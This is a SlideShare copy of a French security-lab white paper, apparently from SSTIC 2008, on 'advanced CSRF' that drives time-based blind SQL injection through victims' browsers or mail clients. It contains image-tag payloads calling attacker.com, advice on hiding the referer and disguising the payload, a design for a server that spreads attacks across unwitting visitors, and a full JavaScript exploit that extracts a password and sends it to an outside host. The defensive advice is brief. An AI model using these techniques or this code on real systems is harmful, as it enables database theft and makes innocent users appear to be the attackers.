SlideShare a Scribd company logo
1 of 12
Download to read offline
Advanced CSRF
Vincent Guasconi Manfred Touron
TABLE DES MATIÈRES Epitech : Security Lab
Table des matières
1 Introduction 2
2 Notions 3
2.1 Cross Site Request Forgery . . . . . . . . . . . . . . . . . . . 3
2.2 Time based Blind SQL Injection . . . . . . . . . . . . . . . . 3
3 Advanced CSRF 4
3.1 Proof of concept . . . . . . . . . . . . . . . . . . . . . . . . . 4
3.2 Some more advanced research . . . . . . . . . . . . . . . . . . 5
4 Some code - The server 7
4.1 Presentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7
4.2 Welcome to the real world . . . . . . . . . . . . . . . . . . . . 7
5 Conclusions 8
5.1 Solutions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
5.2 Victim . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
5.3 Evil Researcher . . . . . . . . . . . . . . . . . . . . . . . . . . 8
A PoC javascript - Decentralized SQL injection 9
1 Introduction Epitech : Security Lab
1 Introduction
Suite à quelques recherches sur les “Cross Site Request Forgery” au sein
de l’ESL[1]1, nous avons décidé d’expliquer et de diffuser un nouveau vecteur
d’exploitation que nous estimions important2.
On commencera par amener les notions indispensables à la bonne compré-
hension du problème, suivra une partie de nos travaux de réflexion, la pré-
sentation du serveur développé en interne, et on terminera par les solutions
envisageables et les conclusions.
1
Epitech Security Lab, nouveau laboratoire sécurité, à ne pas confondre avec le LSE
2
et particulièrement fun
2 Notions Epitech : Security Lab
2 Notions
2.1 Cross Site Request Forgery
Source : Wikipedia3
Cross-site request forgery, also known as one click attack, side-
jacking or session riding and abbreviated as CSRF (Sea-Surf) or
XSRF, is a type of malicious exploit of websites.
Although this type of attack has similarities to cross-site scripting
(XSS), cross-site scripting requires the attacker to inject unau-
thorized code into a website, while cross-site request forgery me-
rely transmits unauthorized commands from a user the website
trusts.
Il est recommandé au lecteur non avisé de se documenter sur le sujet avant
de poursuivre.[2][3]
On retiendra que les CSRF permettent de :
– Casser la Cross Domain Policy
– Agir à l’insu de l’utilisateur
et ont comme inconvénient majeur :
– L’impossibilité de récupérer ou d’intéragir avec la réponse.
2.2 Time based Blind SQL Injection
La “Time based Blind SQL Injection” est une méthode permettant d’ex-
ploiter les injections SQL dites “Total Blind”. Lorsqu’aucune information
n’est renvoyée à l’attaquant sur la réussite de la requête injectée, une des
techniques consiste à ralentir le serveur SQL sur une condition, et d’analyser
le temps que met la requête à se terminer (dans la quasi totalité des cas,
le temps de réponse du serveur HTTP, de l’interpréteur et du serveur SQL
sont liés).
Ces ralentissements peuvent être effectués au moyen de fonction comme
“BENCHMARK()” ou “SLEEP()” en MySQL, “WAIT FOR DELAY” en
MSSQL, “pg_sleep()” en PostgreSQL...[4]
IF(password’s first letter = ’a’, SLEEP(5), SELECT 1)
Si la première lettre de la donnée est égale à ’a’, la requête HTTP mettra
5 secondes de plus à se terminer. Si l’on considère que le temps de retour
classique compte quelques centaines de microsecondes, il est donc possible
d’établir un canal de communication binaire entre la base de donnée et l’at-
taquant.
Il est bien évidemment possible d’utiliser ce type de technique pour toutes
les injections, qu’elles soient “blind” ou non.
3
En anglais, car la page fran caise est très légère.
3 Advanced CSRF Epitech : Security Lab
3 Advanced CSRF
3.1 Proof of concept
“Impossibilité de récupérer ou d’intéragir avec la réponse.”
Un élément de la réponse n’est pas pris en compte : le temps d’éxécution. Il
est facilement récupérable, comme le montre le premier PoC4 en javascript
ci-dessous :
1 var img = new Image () ;
2 img . onerror = function ( e ) {
3 end = new Date () ;
4 document . write ( end . getTime () − s t a r t . getTime () ) ;
5 }
6 s t a r t = new Date () ;
7 img . src = url ;
Explication :
– Déclaration d’un objet image
– Stockage de l’heure courante (lancement du chrono)
– Lancement de la CSRF (en attribuant le champ “src”)
– La requête se termine (onError() est appelé)
– Calcul de la différence entre end et start
Nous sommes donc capable d’effectuer, (avec assez de CSRF), et en utilisant
la technique des “Time based Blind SQL Injection”, une attaque depuis le
navigateur d’un utilisateur tiers5.
Des limitations sont vite apparues :
– Le besoin du javascript
– Le referer dans les logs du serveur vulnérable
– L’auteur facilement identifiable si l’on retrouve la page avec le script
4
Proof of Concept
5
En annexe est fourni le code source d’une attaque complète permettant de ressortir
un champ d’une base de donnée
3.2 Some more advanced research Epitech : Security Lab
3.2 Some more advanced research
Le javascript ne s’éxécute pas dans les mails, ni sur les navigateurs uti-
lisant NoScript6. Nous sommes donc partis sur une nouvelle solution qui
utiliserait uniquement des balises images.
La première problématique fut de forcer le client (navigateur, client mail,
etc...) à effectuer ses requêtes une par une. Comme chacun se doute, les re-
quêtes HTTP sont threadées, par exemple Firefox (Gecko) fait jusqu’à 24
requêtes simultanées, quand Internet Explorer en fait 10247. Les premières
images iront donc sur un faux serveur qui “engluera”8 le client, l’obligeant à
attendre la fin de la précédente requête avant de commencer la suivante.
1 <img src=" http :// attacker . com/ glue . cgi " />
2 <img src=" http :// attacker . com/ glue . cgi " />
3 <img src=" http :// attacker . com/ glue . cgi " /> [ . . . ]
4 <img src=" http :// attacker . com/chrono . cgi " />
5 <img src=" http :// vuln . com/page? id=SQL_INJECTION" />
6 <img src=" http :// attacker . com/chrono . cgi " />
7 <img src=" http :// vuln . com/page? id=SQL_INJECTION" />
8 <img src=" http :// attacker . com/chrono . cgi " />
9 [ . . . ]
Explication :
– Engluage du client (glue.cgi, cgi qui ne répond pas)
– Lancement du chrono
– Time based injection
– Arrêt du chrono, puis lancement du suivant
– etc...
Il est donc possible de récupérer pour chacune des injections, le temps d’éxé-
cution des requêtes. Le problème lié à javascript est donc résolu.
Les images, contrairement aux scripts, peuvent être posées sur un forum,
un blog, ou envoyées par mail. Il reste encore le fait que l’attaque est claire-
ment identifiable au niveau de la source du mail ou de la page.
L’attaque n’est aussi plus scriptable, prenons l’exemple basique vu précé-
demment :
IF(password’s first letter = ’a’, SLEEP(5), SELECT 1)
L’attaque complète testerait donc les lettres une par une, et une fois la pre-
mière lettre trouvée, passerait à la suivante. Cela devient impossible car il
6
Oui, ce n’est pas un mythe, des gens l’installent et certains arrivent même à s’en servir
7
Il est important de noter que par exemple pour Gecko, cette valeur max de requêtes
n’est atteignable qu’en utilisant plusieurs domaines. Il existe une limitation de 4 requêtes
par domaine.
8
on parlera d’engluer le client, ne pas lui répondre tout en gardant la connexion
ouverte. Cela permet de geler les threads.
3.2 Some more advanced research Epitech : Security Lab
faut prévoir les liens avant d’envoyer le mail (ou de poster son message).
Il nous faudrait donc tester toutes les lettres qui suivent ’a’, même si cette
dernière est la bonne.
Le dernier point négatif est qu’il devient difficile de maitriser une exploita-
tion massive non contrôlée du site vulnérable (dans le cas ou l’exploitation
serait postée sur un forum à très grosse fréquentation).
La solution à ce problème a été vite trouvée, il suffit de fournir uniquement
des liens vers un de nos cgis, qui se chargerait de générer des redirections en
fonction des résultats précédents. Cela permet :
– Une généricitée de l’exploitation (liens fixes)
– De faciliter le calcul du max-requests (pour la glue)
– De maitriser le tout (il suffit d’arrêter les redirections et de fournir des
images valides)
– D’anonymiser l’attaque (le referer ne suit pas les redirections 9)
Le code ne contient donc plus de lien avec le site vulnérable.
1 <img src=" http :// attacker . com/?RANDOM" />
2 <img src=" http :// attacker . com/?RANDOM" />
3 <img src=" http :// attacker . com/?RANDOM" />
4 [ . . . ]
Dans un soucis de furtivité, il pourra ressembler à10 :
1 <img src=" http :// attacker . com/img/ front . png" />
2 <img src=" http :// attacker . com/img/ logo . png" />
3 <img src=" http :// attacker . com/img/bottom . png" />
4 [ . . . ]
9
constaté sur tous les clients
10
Le but étant de paraître légitime, de forcer l’utilisateur à afficher les images. On
pourra utiliser d’alignements horribles, et de mots clefs chocs.
4 Some code - The server Epitech : Security Lab
4 Some code - The server
4.1 Presentation
Il devenait de plus en plus compliqué et inutile d’utiliser des cgi pour
satisfaire les besoins de ces attaques. De plus la qualité de l’exploitation se
basant essentiellement sur les temps de réponse, le soucis d’optimisation se
faisait de plus en plus pesant.
Nous avons donc décidé de commencer le développement d’un serveur mul-
tiplexe en C. Les features sont les suivantes :
– L’identification des clients (permet de cibler des victimes)
– Le calcul automatique de l’engluage
– L’interface de scripting (pour les injections classiques)
– Les liens totalement génériques
– La distribution intelligente des injections sur plusieurs victimes
Les seuls logs qui permettraient d’identifier que l’attaque vient du faux ser-
veur et non de la victime sont dans la mémoire des clients. Autant dire très
éphémères.
Les logs sur les serveurs attaqués portent bien comme origine la marque de
la victime.
Les fonctionnalitées de session, et d’automatisation permettent de décentra-
liser complètement une attaque.
4.2 Welcome to the real world
Donnons quelques exemples réels afin de bien situer ce qu’il est possible
de faire :
– Dump complet d’une database depuis plusieurs milliers de machines
qui ne sont que de simples visiteurs d’un site web, ou de simples lec-
teurs d’une mailing-list.
Une sorte de mini-botnet à usage ponctuel.
– Michel arrive au boulot, lit ses mails, et se retrouve l’auteur d’une at-
taque envers une société concurrente, avec pour seule preuve un mail
publicitaire qui contient beaucoup de décor HTML.
– Chose dont on a pas parlé jusqu’alors, mais les injections SQL sur
les panels d’administration, les espaces restreints, deviennent possibles
depuis n’importe quelle page sur le web. Les avantages du cassage de
la Cross Domain Policy pour les injections SQL.
5 Conclusions Epitech : Security Lab
5 Conclusions
5.1 Solutions
Toute cette étude permet de prouver encore une fois l’importance de la
sensibilisation des développeurs aux problèmes des CSRF. L’utilisation de
tokens au sein des formulaires reste la solution la plus évidente (tout en se
tenant au courant des dernières informations sur le sujet[5]).
Dans le cas des attaques par mail, forcer le client mail à ne pas interpréter
le HTML.
Dans un registre plus idyllique :
– Supprimer toutes les injections SQL de la planète
– Renforcer la Cross Domain Policy sur les images (empêcher qu’un site
A utilise des images hébergées sur un site B).
Dans le cas des CSRF, c’est clairement un problème de design, solutionner ce
problème implique de revoir complètement les normes autant côté navigateur
que serveur.
C’est bien évidemment impossible aujourd’hui, le “Web 2.0” étant florissant,
les choses ne peuvent que s’aggraver. Il reste donc à utiliser des rustines
comme les tokens, le check des referer, traitement des entrées sorties par
signatures...
5.2 Victim
Tant que le développement web sera fait par des gens non sensibilisés
aux plus évidentes règles de sécurité, que des langages à pièges comme PHP
seront “maitrisés” entre deux cours de géographie, il va falloir se faire à l’idée
de surfer avec netcat et lire ses mails avec gnus.
5.3 Evil Researcher
Imagination et créativité sont les maitres mots pour ces nouveaux vec-
teurs d’exploitation. Piéger les crawlers de Google, utiliser des playlists de
flux audios, etc...
On notera aussi l’arrivée sur le marché de technologies comme Adobe
Integrated Runtime, qui permettront au développeur web d’augmenter son
rayon d’action, en lui offrant la possibilitée de développer des applications
pour le bureau11.
11
Conclusion très personnelle : on est pas près de s’ennuyer.
A PoC javascript - Decentralized SQL injectionEpitech : Security Lab
A PoC javascript - Decentralized SQL injection
1 <script>
2 // conf
3 stime = 0 . 5 ;
4 s u r l = ’ http :// attack . com/ s s t i c /? id = ’;
5 save_pass = ’ http :// haxhome . biz / savepass . php? pass = ’;
6
7 table_name = ’ pass ’ ;
8 table_fieldname = ’ pass ’ ;
9 table_id = 1;
10
11 // i n i t globals counters
12 pos = 1;
13 len = 0;
14 pass = ’ ’ ;
15 goodlen = 0;
16 chr_pos = 0;
17 chr_tab = Array (97 , 98 , 99 , 100 , 101 , 102 , 103 , 104 ,
105 , 106 , 107 , 108 , 109 , 110 , 111 , 112 , 113 , 114 ,
115 , 116 , 117 , 118 , 119 , 120 , 121 , 122 , //a−z
18 48 , 49 , 50 , 51 , 52 , 53 , 54 , 55 , 56 , 57 , //0−9
19 65 , 66 , 67 , 68 , 69 , 70 , 71 , 72 , 73 , 74 , 75 , 76 , 77 ,
78 , 79 , 80 , 81 , 82 , 83 , 84 , 85 , 86 , 87 , 88 , 89 ,
90 , //A−Z
20 32 , 33 , 34 , 35 , 36 , 37 , 38 , 39 , 40 , 41 , 42 , 43 , 44 ,
45 , 46 , 47 , 58 , 59 , 60 , 61 , 62 , 63 , 64 , 91 , 92 ,
93 , 94 , 95 , 96 , 123 , 124 , 125 , 126) ; // other
21 chr_tab_len = chr_tab . length ;
22 is_logged = 0;
23 function s p l o i t ()
24 {
25 i f (( pos > len && goodlen ) )
26 {
27 var img = new Image () ;
28 a l e r t ( ’ pass : ’ + pass ) ;
29 img . src = save_pass + pass ;
30 return ;
31 }
32 var img = new Image () ;
33 s t a r t = new Date () ;
34 img . onerror = function ( e )
35 {
36 end = new Date () ;
37 i f ( end . getTime () − s t a r t . getTime () > stime ∗
1000)
38 {
39 i f ( ! is_logged )
40 is_logged = 1;
A PoC javascript - Decentralized SQL injectionEpitech : Security Lab
41 e l s e i f ( ! goodlen )
42 goodlen = 1;
43 e l s e
44 {
45 pos++;
46 pass += String . fromCharCode ( chr_tab [ chr_pos ] ) ;
47 chr_pos = 0;
48 }
49 }
50 e l s e
51 {
52 i f ( ! is_logged )
53 return ;
54 i f ( ! goodlen )
55 len++;
56 e l s e
57 {
58 i f ( chr_pos >= chr_tab_len )
59 return ; // char not found
60 chr_pos++;
61 }
62 }
63 s p l o i t () ;
64 }
65 i f ( ! is_logged )
66 query = ’(( s e l e c t 1) ) ’ ;
67 e l s e i f ( ! goodlen )
68 query = ’(( s e l e c t length ( pass ) from ’+table_name+’
where id=’+table_id +’)= ’+ len +’) ’ ;
69 e l s e
70 query = ’(( s e l e c t a s c i i (( s e l e c t substr (’+
table_fieldname +’,’+ pos + ’ ,1) from ’+table_name
+’ where id=’+table_id +’) )=’+chr_tab [ chr_pos
]+ ’) ) ’ ;
71 img . src = s u r l +’ i f (( ’+ query +’) , sleep (’+ stime +’) ,0) ’ ;
72 }
73
74 s p l o i t () ;
75
76 </ script>
RÉFÉRENCES Epitech : Security Lab
Références
[1] Epitech : Security Lab, Index of ACSRF
http ://esl.epitech.net/acsrf
[2] Wikipedia-en, Cross-site request forgery
http ://en.wikipedia.org/wiki/Cross-site_request_forgery
[3] Robert Auger, The Cross-Site Request Forgery FAQ
http ://www.cgisecurity.com/articles/csrf-faq.shtml
[4] Ferruh Mavituna, SQL Injection Cheat Sheet
http ://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
[5] Insane Security, Regenerative Tokens
http ://insanesecurity.wordpress.com/2008/05/29/regenerative-tokens/
[6] Daniel Chmielewski, Hiding the HTTP Referer with PHP, JS or Meta
Refresh
http ://www.dankind.com/blog/145/hiding-the-http-referer-with-php-js-
or-meta
[7] Slightly Shady SEO, Controlling Your Referer, and Hiding Your Traffic
Sources
http ://www.slightlyshadyseo.com/index.php/controlling-your-referer-
and-hiding-your-traffic-sources/

More Related Content

What's hot

Alphorm.com Formation Analyse de Malware 2/2 : Le guide complet
Alphorm.com Formation Analyse de Malware 2/2 : Le guide completAlphorm.com Formation Analyse de Malware 2/2 : Le guide complet
Alphorm.com Formation Analyse de Malware 2/2 : Le guide completAlphorm
 
Les dessous du framework spring
Les dessous du framework springLes dessous du framework spring
Les dessous du framework springAntoine Rey
 
Suivre l'évolution du covid19 sur RaspberryPi avec la suite Elastic
Suivre l'évolution du covid19 sur RaspberryPi avec la suite ElasticSuivre l'évolution du covid19 sur RaspberryPi avec la suite Elastic
Suivre l'évolution du covid19 sur RaspberryPi avec la suite ElasticIdriss Neumann
 
Petit potam slides-rtfm-ossir
Petit potam slides-rtfm-ossirPetit potam slides-rtfm-ossir
Petit potam slides-rtfm-ossirLionelTopotam
 

What's hot (8)

Alphorm.com Formation Analyse de Malware 2/2 : Le guide complet
Alphorm.com Formation Analyse de Malware 2/2 : Le guide completAlphorm.com Formation Analyse de Malware 2/2 : Le guide complet
Alphorm.com Formation Analyse de Malware 2/2 : Le guide complet
 
Comprendre la securite web
Comprendre la securite webComprendre la securite web
Comprendre la securite web
 
Des tests modernes pour Drupal
Des tests modernes pour DrupalDes tests modernes pour Drupal
Des tests modernes pour Drupal
 
Les dessous du framework spring
Les dessous du framework springLes dessous du framework spring
Les dessous du framework spring
 
Suivre l'évolution du covid19 sur RaspberryPi avec la suite Elastic
Suivre l'évolution du covid19 sur RaspberryPi avec la suite ElasticSuivre l'évolution du covid19 sur RaspberryPi avec la suite Elastic
Suivre l'évolution du covid19 sur RaspberryPi avec la suite Elastic
 
Petit potam slides-rtfm-ossir
Petit potam slides-rtfm-ossirPetit potam slides-rtfm-ossir
Petit potam slides-rtfm-ossir
 
Rapport tp3 j2ee
Rapport tp3 j2eeRapport tp3 j2ee
Rapport tp3 j2ee
 
Squid squid guard
Squid squid guardSquid squid guard
Squid squid guard
 

Viewers also liked

Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouseSébastien GIORIA
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécuritéSébastien GIORIA
 
OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013Sébastien GIORIA
 
Vos projets web sur les plateformes ouvertes
Vos projets web sur les plateformes ouvertesVos projets web sur les plateformes ouvertes
Vos projets web sur les plateformes ouvertesneuros
 
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014 Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014 Patrick Leclerc
 
Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration Bee_Ware
 

Viewers also liked (6)

Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité2013 03-01 automatiser les tests sécurité
2013 03-01 automatiser les tests sécurité
 
OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013OWASP Top10 2013 - Présentation aux RSSIA 2013
OWASP Top10 2013 - Présentation aux RSSIA 2013
 
Vos projets web sur les plateformes ouvertes
Vos projets web sur les plateformes ouvertesVos projets web sur les plateformes ouvertes
Vos projets web sur les plateformes ouvertes
 
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014 Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
Securite applicative et SDLC - OWASP Quebec - 15 avril 2014
 
Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration Waf, le bon outil, la bonne administration
Waf, le bon outil, la bonne administration
 

Similar to White paper: SSTIC 2008: Advanced CSRF

Tuto atelier securisation_site_web
Tuto atelier securisation_site_webTuto atelier securisation_site_web
Tuto atelier securisation_site_websahar dridi
 
mise en pratique de l'outil Skipfish
mise en pratique de l'outil Skipfishmise en pratique de l'outil Skipfish
mise en pratique de l'outil SkipfishMounia EL
 
Reverse Engineering d'un ransomware
Reverse Engineering d'un ransomwareReverse Engineering d'un ransomware
Reverse Engineering d'un ransomwareNinaSAMMUT
 
Webinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeWebinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeMarie Tapia
 
RAPPORT DU PREMIER MINI PROJET «FORUM DE CHAT» Novembre 2005.pdf
RAPPORT DU PREMIER MINI PROJET «FORUM DE CHAT» Novembre 2005.pdfRAPPORT DU PREMIER MINI PROJET «FORUM DE CHAT» Novembre 2005.pdf
RAPPORT DU PREMIER MINI PROJET «FORUM DE CHAT» Novembre 2005.pdfSouf212
 
Spectre et Meltdown : quels impacts pour vous et vos clients ?
Spectre et Meltdown : quels impacts pour vous et vos clients ?Spectre et Meltdown : quels impacts pour vous et vos clients ?
Spectre et Meltdown : quels impacts pour vous et vos clients ?Kiwi Backup
 
Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4
Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4 Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4
Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4 Khalid EDAIG
 
Slides: SSTIC08 - Advanced CSRF for fun and profit
Slides: SSTIC08 - Advanced CSRF for fun and profitSlides: SSTIC08 - Advanced CSRF for fun and profit
Slides: SSTIC08 - Advanced CSRF for fun and profitManfred Touron
 
RefCard Tests sur tous les fronts
RefCard Tests sur tous les frontsRefCard Tests sur tous les fronts
RefCard Tests sur tous les frontsOCTO Technology
 
Inf4420 final a05-solutions
Inf4420 final a05-solutionsInf4420 final a05-solutions
Inf4420 final a05-solutionsmouad11
 
XebiCon'16 : Choisissez votre style avec Docker & Amazon Web Services Par Al...
XebiCon'16 : Choisissez votre style avec Docker & Amazon Web Services  Par Al...XebiCon'16 : Choisissez votre style avec Docker & Amazon Web Services  Par Al...
XebiCon'16 : Choisissez votre style avec Docker & Amazon Web Services Par Al...Publicis Sapient Engineering
 
Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Asma Messaoudi
 
Orchestrating Docker in production - TIAD Camp Docker
Orchestrating Docker in production - TIAD Camp DockerOrchestrating Docker in production - TIAD Camp Docker
Orchestrating Docker in production - TIAD Camp DockerThe Incredible Automation Day
 

Similar to White paper: SSTIC 2008: Advanced CSRF (20)

Tuto atelier securisation_site_web
Tuto atelier securisation_site_webTuto atelier securisation_site_web
Tuto atelier securisation_site_web
 
Securité web
Securité webSecurité web
Securité web
 
mise en pratique de l'outil Skipfish
mise en pratique de l'outil Skipfishmise en pratique de l'outil Skipfish
mise en pratique de l'outil Skipfish
 
Reverse Engineering d'un ransomware
Reverse Engineering d'un ransomwareReverse Engineering d'un ransomware
Reverse Engineering d'un ransomware
 
Webinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeWebinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme Thémée
 
RAPPORT DU PREMIER MINI PROJET «FORUM DE CHAT» Novembre 2005.pdf
RAPPORT DU PREMIER MINI PROJET «FORUM DE CHAT» Novembre 2005.pdfRAPPORT DU PREMIER MINI PROJET «FORUM DE CHAT» Novembre 2005.pdf
RAPPORT DU PREMIER MINI PROJET «FORUM DE CHAT» Novembre 2005.pdf
 
Spectre et Meltdown : quels impacts pour vous et vos clients ?
Spectre et Meltdown : quels impacts pour vous et vos clients ?Spectre et Meltdown : quels impacts pour vous et vos clients ?
Spectre et Meltdown : quels impacts pour vous et vos clients ?
 
Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4
Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4 Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4
Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4
 
Les sockets.pptx
Les sockets.pptxLes sockets.pptx
Les sockets.pptx
 
Slides: SSTIC08 - Advanced CSRF for fun and profit
Slides: SSTIC08 - Advanced CSRF for fun and profitSlides: SSTIC08 - Advanced CSRF for fun and profit
Slides: SSTIC08 - Advanced CSRF for fun and profit
 
RefCard Tests sur tous les fronts
RefCard Tests sur tous les frontsRefCard Tests sur tous les fronts
RefCard Tests sur tous les fronts
 
Inf4420 final a05-solutions
Inf4420 final a05-solutionsInf4420 final a05-solutions
Inf4420 final a05-solutions
 
XebiCon'16 : Choisissez votre style avec Docker & Amazon Web Services Par Al...
XebiCon'16 : Choisissez votre style avec Docker & Amazon Web Services  Par Al...XebiCon'16 : Choisissez votre style avec Docker & Amazon Web Services  Par Al...
XebiCon'16 : Choisissez votre style avec Docker & Amazon Web Services Par Al...
 
Support NodeJS avec TypeScript Express MongoDB
Support NodeJS avec TypeScript Express MongoDBSupport NodeJS avec TypeScript Express MongoDB
Support NodeJS avec TypeScript Express MongoDB
 
La Sécurité Sur Le Web
La Sécurité Sur Le WebLa Sécurité Sur Le Web
La Sécurité Sur Le Web
 
Forensics: Banking Troubles
Forensics: Banking TroublesForensics: Banking Troubles
Forensics: Banking Troubles
 
Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02
 
Orchestrating Docker in production - TIAD Camp Docker
Orchestrating Docker in production - TIAD Camp DockerOrchestrating Docker in production - TIAD Camp Docker
Orchestrating Docker in production - TIAD Camp Docker
 
Introduction aux-sockets
Introduction aux-socketsIntroduction aux-sockets
Introduction aux-sockets
 
rapportWAS
rapportWASrapportWAS
rapportWAS
 

White paper: SSTIC 2008: Advanced CSRF

  • 2. TABLE DES MATIÈRES Epitech : Security Lab Table des matières 1 Introduction 2 2 Notions 3 2.1 Cross Site Request Forgery . . . . . . . . . . . . . . . . . . . 3 2.2 Time based Blind SQL Injection . . . . . . . . . . . . . . . . 3 3 Advanced CSRF 4 3.1 Proof of concept . . . . . . . . . . . . . . . . . . . . . . . . . 4 3.2 Some more advanced research . . . . . . . . . . . . . . . . . . 5 4 Some code - The server 7 4.1 Presentation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 7 4.2 Welcome to the real world . . . . . . . . . . . . . . . . . . . . 7 5 Conclusions 8 5.1 Solutions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 5.2 Victim . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 5.3 Evil Researcher . . . . . . . . . . . . . . . . . . . . . . . . . . 8 A PoC javascript - Decentralized SQL injection 9
  • 3. 1 Introduction Epitech : Security Lab 1 Introduction Suite à quelques recherches sur les “Cross Site Request Forgery” au sein de l’ESL[1]1, nous avons décidé d’expliquer et de diffuser un nouveau vecteur d’exploitation que nous estimions important2. On commencera par amener les notions indispensables à la bonne compré- hension du problème, suivra une partie de nos travaux de réflexion, la pré- sentation du serveur développé en interne, et on terminera par les solutions envisageables et les conclusions. 1 Epitech Security Lab, nouveau laboratoire sécurité, à ne pas confondre avec le LSE 2 et particulièrement fun
  • 4. 2 Notions Epitech : Security Lab 2 Notions 2.1 Cross Site Request Forgery Source : Wikipedia3 Cross-site request forgery, also known as one click attack, side- jacking or session riding and abbreviated as CSRF (Sea-Surf) or XSRF, is a type of malicious exploit of websites. Although this type of attack has similarities to cross-site scripting (XSS), cross-site scripting requires the attacker to inject unau- thorized code into a website, while cross-site request forgery me- rely transmits unauthorized commands from a user the website trusts. Il est recommandé au lecteur non avisé de se documenter sur le sujet avant de poursuivre.[2][3] On retiendra que les CSRF permettent de : – Casser la Cross Domain Policy – Agir à l’insu de l’utilisateur et ont comme inconvénient majeur : – L’impossibilité de récupérer ou d’intéragir avec la réponse. 2.2 Time based Blind SQL Injection La “Time based Blind SQL Injection” est une méthode permettant d’ex- ploiter les injections SQL dites “Total Blind”. Lorsqu’aucune information n’est renvoyée à l’attaquant sur la réussite de la requête injectée, une des techniques consiste à ralentir le serveur SQL sur une condition, et d’analyser le temps que met la requête à se terminer (dans la quasi totalité des cas, le temps de réponse du serveur HTTP, de l’interpréteur et du serveur SQL sont liés). Ces ralentissements peuvent être effectués au moyen de fonction comme “BENCHMARK()” ou “SLEEP()” en MySQL, “WAIT FOR DELAY” en MSSQL, “pg_sleep()” en PostgreSQL...[4] IF(password’s first letter = ’a’, SLEEP(5), SELECT 1) Si la première lettre de la donnée est égale à ’a’, la requête HTTP mettra 5 secondes de plus à se terminer. Si l’on considère que le temps de retour classique compte quelques centaines de microsecondes, il est donc possible d’établir un canal de communication binaire entre la base de donnée et l’at- taquant. Il est bien évidemment possible d’utiliser ce type de technique pour toutes les injections, qu’elles soient “blind” ou non. 3 En anglais, car la page fran caise est très légère.
  • 5. 3 Advanced CSRF Epitech : Security Lab 3 Advanced CSRF 3.1 Proof of concept “Impossibilité de récupérer ou d’intéragir avec la réponse.” Un élément de la réponse n’est pas pris en compte : le temps d’éxécution. Il est facilement récupérable, comme le montre le premier PoC4 en javascript ci-dessous : 1 var img = new Image () ; 2 img . onerror = function ( e ) { 3 end = new Date () ; 4 document . write ( end . getTime () − s t a r t . getTime () ) ; 5 } 6 s t a r t = new Date () ; 7 img . src = url ; Explication : – Déclaration d’un objet image – Stockage de l’heure courante (lancement du chrono) – Lancement de la CSRF (en attribuant le champ “src”) – La requête se termine (onError() est appelé) – Calcul de la différence entre end et start Nous sommes donc capable d’effectuer, (avec assez de CSRF), et en utilisant la technique des “Time based Blind SQL Injection”, une attaque depuis le navigateur d’un utilisateur tiers5. Des limitations sont vite apparues : – Le besoin du javascript – Le referer dans les logs du serveur vulnérable – L’auteur facilement identifiable si l’on retrouve la page avec le script 4 Proof of Concept 5 En annexe est fourni le code source d’une attaque complète permettant de ressortir un champ d’une base de donnée
  • 6. 3.2 Some more advanced research Epitech : Security Lab 3.2 Some more advanced research Le javascript ne s’éxécute pas dans les mails, ni sur les navigateurs uti- lisant NoScript6. Nous sommes donc partis sur une nouvelle solution qui utiliserait uniquement des balises images. La première problématique fut de forcer le client (navigateur, client mail, etc...) à effectuer ses requêtes une par une. Comme chacun se doute, les re- quêtes HTTP sont threadées, par exemple Firefox (Gecko) fait jusqu’à 24 requêtes simultanées, quand Internet Explorer en fait 10247. Les premières images iront donc sur un faux serveur qui “engluera”8 le client, l’obligeant à attendre la fin de la précédente requête avant de commencer la suivante. 1 <img src=" http :// attacker . com/ glue . cgi " /> 2 <img src=" http :// attacker . com/ glue . cgi " /> 3 <img src=" http :// attacker . com/ glue . cgi " /> [ . . . ] 4 <img src=" http :// attacker . com/chrono . cgi " /> 5 <img src=" http :// vuln . com/page? id=SQL_INJECTION" /> 6 <img src=" http :// attacker 